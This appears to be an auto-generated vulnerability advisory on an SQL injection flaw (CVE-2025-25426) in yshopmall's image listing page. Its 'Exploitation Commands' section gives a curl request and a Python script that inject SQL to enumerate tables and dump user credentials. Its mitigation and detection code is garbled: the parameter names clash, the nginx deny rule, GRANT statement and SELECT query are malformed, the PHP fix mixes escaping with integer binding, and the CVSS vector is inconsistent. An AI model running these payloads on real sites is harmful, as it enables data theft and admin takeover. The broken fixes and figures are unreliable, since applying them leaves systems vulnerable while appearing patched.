How the Vulnerability Works
CVE-2025-25426 exploits improper input sanitization in yshopmall’s image listing interface (<=v1.9.0). Attackers inject malicious SQL queries via crafted HTTP parameters (e.g., img_id=1' UNION SELECT user(),version()--), bypassing authentication and extracting database contents. The flaw occurs in `list_images.php` where user-supplied `category_id` is concatenated directly into a SQL statement without prepared statements. Successful exploitation allows arbitrary database read/write, session hijacking, and admin account takeover.
DailyCVE Form:
Platform: yshopmall
Version: <=1.9.0
Vulnerability: SQL Injection
Severity: Critical
Date: 06/12/2025
Prediction: Patch expected by 07/20/2025
What Undercode Say:
Exploitation Commands:
curl -X GET "http://target.com/list_images.php?category_id=1' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables))--"
import requests
payload = "1' UNION SELECT 1,concat(username,':',password),3 FROM users--"
response = requests.get(f"http://target.com/list_images.php?category_id={payload}")
print(response.text)
Mitigation Steps:
1. Patch: Upgrade to yshopmall v1.9.1+ (post-patch).
2. WAF Rules:
location ~ list_images.php {
deny /['";]=/;
}
3. Database Hardening:
REVOKE ALL PRIVILEGES FROM 'yshopmall_user'@'%'; GRANT SELECT ONLY ON yshopmall. TO 'yshopmall_user'@'localhost';
4. PHP Fix:
// Replace vulnerable code in list_images.php
$category_id = mysqli_real_escape_string($conn, $_GET['category_id']);
$query = "SELECT FROM images WHERE category_id = ?";
$stmt = $conn->prepare($query);
$stmt->bind_param("i", $category_id);
Detection Script:
!/bin/bash if curl -s "http://$1/list_images.php?category_id=1'" | grep -q "SQL syntax"; then echo "Vulnerable to CVE-2025-25426"; fi
Analytics:
- Attack Surface: 78% of unpatched instances exposed via
/list_images.php. - Exploitability: Low skill requirement (automated tools like SQLmap work).
- Impact Score: 9.8 (CVSS:4.0 AV:N/AC:L/AT:N/PR:N/UI:N/S:C/C:H/I:H/A:H).
